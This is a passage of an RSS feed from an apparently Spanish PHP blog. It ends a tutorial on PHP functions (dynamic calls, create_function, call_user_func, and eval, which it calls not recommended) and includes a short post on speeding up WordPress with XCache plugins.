echo&nbsp;</span><span style="color: #DD0000">"Es&nbsp;2.7&nbsp;un&nbsp;entero?"</span><span style="color: #007700">.</span><span style="color: #0000BB">comprobarEntero</span><span style="color: #007700">(</span><span style="color: #0000BB">2.7</span><span style="color: #007700">).</span><span style="color: #DD0000">"&lt;br&nbsp;/&gt;"</span><span style="color: #007700">;<br />
echo&nbsp;</span><span style="color: #DD0000">"Es&nbsp;-7&nbsp;un&nbsp;entero?"</span><span style="color: #007700">.</span><span style="color: #0000BB">comprobarEntero</span><span style="color: #007700">(-</span><span style="color: #0000BB">7</span><span style="color: #007700">).</span><span style="color: #DD0000">"&lt;br&nbsp;/&gt;"</span><span style="color: #007700">;<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p><strong> Llamadas dinámicas a funciones</strong><br />
Puede que no sepas qué función llamar cuando estás escribiendo un script de PHP, posiblemente sea porque los datos en los que te bases determinen qué hacer durante la ejecución, una forma de llevar esto a cabo es establecer una variable con el nombre de una función y después usarla como si fuera una función.<br />
Si a una variable le sigue un paréntesis se interpreta de esta forma, se tratará como una función, veamos un ejemplo:
<div id="phpizer_div_10" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">function&nbsp;</span><span style="color: #0000BB">mostrar</span><span style="color: #007700">(</span><span style="color: #0000BB">$texto</span><span style="color: #007700">)<br />
{<br />
echo&nbsp;</span><span style="color: #0000BB">$texto</span><span style="color: #007700">;<br />
}<br />
function&nbsp;</span><span style="color: #0000BB">mostrarNegrita</span><span style="color: #007700">(</span><span style="color: #0000BB">$texto</span><span style="color: #007700">){<br />
echo&nbsp;</span><span style="color: #DD0000">&#8216;&lt;b&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">$texto</span><span style="color: #007700">.</span><span style="color: #DD0000">&#8216;&lt;/b&gt;'</span><span style="color: #007700">;<br />
}<br />
</span><span style="color: #0000BB">$miFuncion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">&#8216;mostrar'</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">$miFuncion</span><span style="color: #007700">(</span><span style="color: #DD0000">"Hola!"</span><span style="color: #007700">).</span><span style="color: #DD0000">&#8216;&lt;br&nbsp;/&gt;'</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">$miFuncion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">&#8216;mostrarNegrita'</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">$miFuncion</span><span style="color: #007700">(</span><span style="color: #DD0000">"Hola&nbsp;en&nbsp;negrita!"</span><span style="color: #007700">).</span><span style="color: #DD0000">&#8216;&lt;br&nbsp;/&gt;'</span><span style="color: #007700">;<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p>Si no sabes exactamente como funcionará exactamente puedes crear una función anónima por medio de la función "create_function".</p>
<p><strong> Funciones definidas por el usuario<br />
</strong>La función "create_function" crea una función y devuelve un nombre único, por eso son funciones anónimas, eso permite escribir funciones que dependen de información sólo disponible en tiempo de ejecución, aunque puedes almacenar el nombre de esta nueva función en una variable para lalmarla después, create_function es quizás el método más útil para definir funciones de tipo lambda, ejemplo:
<div id="phpizer_div_11" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br />$datos&nbsp;&nbsp;</span><span style="color: #007700">=&nbsp;array(</span><span style="color: #DD0000">"zanahoria"</span><span style="color: #007700">,</span><span style="color: #DD0000">"manzana"</span><span style="color: #007700">,</span><span style="color: #DD0000">"naranja"</span><span style="color: #007700">);<br />
</span><span style="color: #FF8000">//añade&nbsp;subrayado&nbsp;bajo&nbsp;al&nbsp;final&nbsp;de&nbsp;cada&nbsp;palabra&nbsp;y&nbsp;convertir&nbsp;todo&nbsp;a&nbsp;mayúsculas:<br />
</span><span style="color: #0000BB">array_walk</span><span style="color: #007700">(</span><span style="color: #0000BB">$datos</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">create_function</span><span style="color: #007700">(</span><span style="color: #DD0000">&#8216;&amp;amp;$v'</span><span style="color: #007700">,<br />
</span><span style="color: #DD0000">&#8216;$v&nbsp;=&nbsp;"_".strtoupper($v)."_";'</span><span style="color: #007700">)<br />
);<br />
</span><span style="color: #0000BB">print_r</span><span style="color: #007700">(</span><span style="color: #0000BB">$datos</span><span style="color: #007700">);<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p><strong><br />
</strong>Puedes crear y usar tus propias funciones con "call_user_func($nombre_funcion,&#8230;)", ejecuta una función definida por el usuario, donde "&#8230;" a continuación son los argumentos a pasar a dicha función en tiempo de ejecución. Puedes usarla para llamar a un método de un objeto ,entonces en lugar de un nombre usa un array donde el primer argumento es el objeto donde reside el método y el segundo el nombre de la función,ahi termina el array, el resto igual que antes&#8230;</p>
<p>call_user_func_array($funcion, $array_de_parametros ) es igual que call_user_func excepto porque hay un array de parámetros en lugar de varios argumentos.</p>
<p>Un método no recomendado es eval(), intenta ejecutar el argumento pasado, que es código PHP, ejemplo:
<div id="phpizer_div_12" class="code">
<code><span style="color: #000000"><br />
<span style="color: #0000BB">&lt;?php<br />$codigo&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">&#8216;&lt;b&gt;&lt;&nbsp;?php&nbsp;print(date("d-m-Y"));?&gt;&lt;/b&gt;'</span><span style="color: #007700">;<br />
eval&nbsp;(</span><span style="color: #DD0000">"?&gt;"</span><span style="color: #007700">.</span><span style="color: #0000BB">$codigo</span><span style="color: #007700">);<br />
<br /></span><span style="color: #0000BB">?&gt;<br /></span><br />
</span><br />
</code></div>
<p>Y hasta aquí sobre funciones, seguid leyendo el código de <a href="http://blog.zenphp.es">zenphp</a> para ver más ejemplos complejos.</p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=61</wfw:commentRss>
		</item>
		<item>
		<title>Acelerando Wordpress : plugins que usan los aceleradores PHP</title>
		<link>http://granadaphp.agenciaq4.com/?p=60</link>
		<comments>http://granadaphp.agenciaq4.com/?p=60#comments</comments>
		<pubDate>Thu, 20 Mar 2008 12:18:30 +0000</pubDate>
		<dc:creator>juan_belon</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://granadaphp.agenciaq4.com/?p=60</guid>
		<description><![CDATA[Si estás interesado en acelerar tu rendimiento en WordPress hasta el límite conocido, no necesitas buscar más. XCache par a WordPress integra tu instalación de WordPress con el almacenamiento dinámico de XCache, acelerando así el rendimiento y mejorando la fiabilidad bajo alta carga en el servidor.
]]></description>
			<content:encoded><![CDATA[<p>Si estás interesado en acelerar tu rendimiento en WordPress hasta el límite conocido, no necesitas buscar más. XCache par a WordPress integra tu instalación de WordPress con el almacenamiento dinámico de XCache, acelerando así el rendimiento y mejorando la fiabilidad bajo alta carga en el servidor.</p>
<p> <a href="http://granadaphp.agenciaq4.com/?p=60#more-60" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://granadaphp.agenciaq4.com/?feed=rss2&amp;p=60</wfw:commentRss>
		</item>
	</channel>
</rss>
